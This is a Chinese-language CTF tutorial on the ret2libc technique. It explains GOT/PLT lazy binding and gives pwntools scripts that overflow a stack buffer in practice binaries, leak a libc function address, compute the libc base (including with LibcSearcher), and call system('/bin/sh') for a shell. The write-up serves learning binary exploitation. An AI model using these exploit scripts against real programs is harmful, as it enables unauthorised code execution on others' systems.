用动态链接动态泄露system地址并利用

已知libc库的情况

在动态编译的程序中,如果没有对system函数的直接调用,在plt中就不会存在system函数,也就是不能直接知道system函数的地址
在解决动态编译的二进制文件之前,需要了解动态链接的基础知识,这个过程叫作lzy-binding。程序对外部函数的调用要求在生成可执行文件时将外部函数链接到程序中链接的方式分为静态链接和动态链接。静态链接得到的可执行文件包含外部函数的全部代码。动态链接得到的可执行文件不包含外部函数的代码,而是在运行时将动态链接库(若干外部函数的集合)加载到内存的某个位置,在发生调用时再去链接库定位所需的函数。

这里通过几个简单的概念和过程的分析来说明整个过程。

  1. GOT。GOT是全局偏移量表(Global0fset Table),用于存储外部函数在内存中的确切地址。GOT存储在数据段(DataSegment)内,可以在程序运行过程中被修改。
  2. PIT是程序链接表(Procedure Linkage Table),用来存储外部函数的人口点(entry),换言之,程序会到 PLT 中寻找外部函数的地址。PLT存储在代码段(CodeSegment)内,在运行之前就已经确定并目不会被修改。

简单来讲,GOT是个数据表,存储的是外部函数的地址,具有读写权限(在FULLRELRO 保护机制开启的时候,没有读写权限):PLT是外部函数的人口表,存储的是每个外部函数的代码,具有执行权限

当程序在第一次运行的时候,会进入已被转载进内存中的动态链接库中查找对应的函数和地址,并把函数的地址放到got表中,将got表的地址数据映射为plt表的表项;在程序二次运行的时候,就不用再重新查找函数地址,而是直接通过plt表找到got表中函数的地址,从而执行函数的功能了。
在首次调用导出函数时,由于未知函数真正地址(这时表现为xxx@plt),去访问plt表中该函数所在的项(为一段代码,三条指令如上图所示),之后去访问GOT表,又跳到PLT[0]的中(代码段)调用函数_dl_runtime_resolve去获取真正的函数地址并修改对应的GOT表项

还有几点需要注意

  1. GOT[0] 是.dynamic段的装载地址,.dynamic段包含了动态链接器用来绑定过程地址的信息,比如符号的位置和重定位信息;
  2. GOT[1] 是动态链接器的标识link_map的地址;
  3. GOT[2] 包含动态链接器的延迟绑定代码_dl_runtime_resolve的入口点,用于得到真正的函数地址,回写到对应的got表中;
  4. 从 GOT[3] 开始就是函数的地址。

对于任意两个函数的偏移是固定的,我们可以根据这个来做题,我们需要泄露一个函数地址,根据偏移来计算基地址,这样就能得到我们想要的地址
用一道例题来具体说明一下
例题:附件下载
首先查看保护

地址随机化,NX开启
IDA反编译,没有发现后门函数,所以我们需要调用动态链接库里面的system来getshell
第一步:先泄露函数的一个地址
我们发现了栈溢出漏洞和put输出函数,那么我们就可以根据这个函数泄露地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

p = process("./ret2libc3")
gdb.attach(p,"b *0x0804854C")
elf = ELF("./ret2libc3")
libc = ELF("/lib/i386-linux-gnu/libc-2.23.so")

gets_got = elf.got["gets"]
puts_plt = elf.plt["puts"]
main_addr = 0x0804854E
p.recvuntil("ret2libc3\n")
payload1 = "a" * 0x108 + p32(1)
payload1 += p32(puts_plt) + p32(main_addr) + p32(gets_got)
p.sendline(payload1)

根据EXP我们可以看到,通过调用put函数来打印got表中gets的地址,这样gets的地址就泄露成功了
第二步:计算偏移
我们泄露了gets函数的地址,那么根据它的偏移,就能得到基地址.base_addr= 泄露地址 - 减去偏移

1
2
3
4
leak_addr = u32(p.recv(4))
libc_base = leak_addr - libc.symbols["gets"]
libc.address = libc_base
log.success("libc_base:" + hex(libc.address))

这里的libc.symbosl[‘’]在设置基地址之前得到的是偏移值,在设置基地址之后得到的是实际地址值
第三步:攻击

1
2
3
4
5
6
7
system = libc.symbols["system"] #得到实际地址值
binsh = libc.search("/bin/sh").next() #搜索字符串,返回地址
p.recvuntil("ret2libc3\n")
payload2 = "a" * 0x108 + p32(1)
payload2 += p32(system) + p32(1) + p32(binsh)
p.sendline(payload2)
p.interactive()

这样一个已知动态链接库的题就写好了,说到这肯定想问,那要是未知呢?别急接着往下看

未知动态链接库

对于未知动态链接库,做题方式和已知链接库是大同小异的,无非是确定libc库是什么版本,我们来看一下怎么确定
在我现在学习中,有三种方法(实际肯定不止三种,使用自己觉得好用的就行)

  1. 在 github上有个 libc-database 项目,可以使用项目上的方法找出对应版本。
  2. 在网站 https://libc.nullbyte.cat/ 上输入对应的函数名和地址找到 1ibc 版本。
  3. 使用python库libcsearcher

这里我们说一下第三种

  1. 安装
    1
    2
    3
    git clone https://github.com/lieanu/LibcSearcher.git
    cd LibcSearcher
    python setup.py develop
  2. 基本使用
    1
    2
    3
    4
    5
    6
    libc = LibcSearcher("func",gets_real_addr)             #寻找匹配的libc版本
    libcbase = gets_real_addr – obj.dump("func") #确定基地址
    system_addr = libcbase + obj.dump("system") #system 偏移
    bin_sh_addr = libcbase + obj.dump("str_bin_sh") #/bin/sh 偏移


    例题:https://gitee.com/tky5216/CTF/raw/master/PWN/stack/ret2libc
    普通栈溢出
    这里距离栈底为0x14个字节,但是按照14个字节编写会报错,我们使用cyclic的方法判断溢出,发现距离栈底为0x1c个字节
    直接上脚本
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    from pwn import *
    from LibcSearcher import *
    ret2libc = ELF('./1')
    p = process('./1')
    p.recvuntil('is')
    binsh_addr = int(p.recvuntil('\n' , drop=True) , 16)
    p.recvuntil('is')
    puts_addr = int(p.recvuntil('\n' , drop = True) , 16)
    libc = LibcSearcher('puts' , puts_addr)
    base_addr = puts_addr - libc.dump('puts')
    system_addr = base_addr + libc.dump('system')
    payload = 32 * b'a' + p32(system_addr) + p32(1) + p32(binsh_addr)
    p.sendline(payload)
    p.interactive()
    做好使用python3运行,别问我怎么知道的~~~~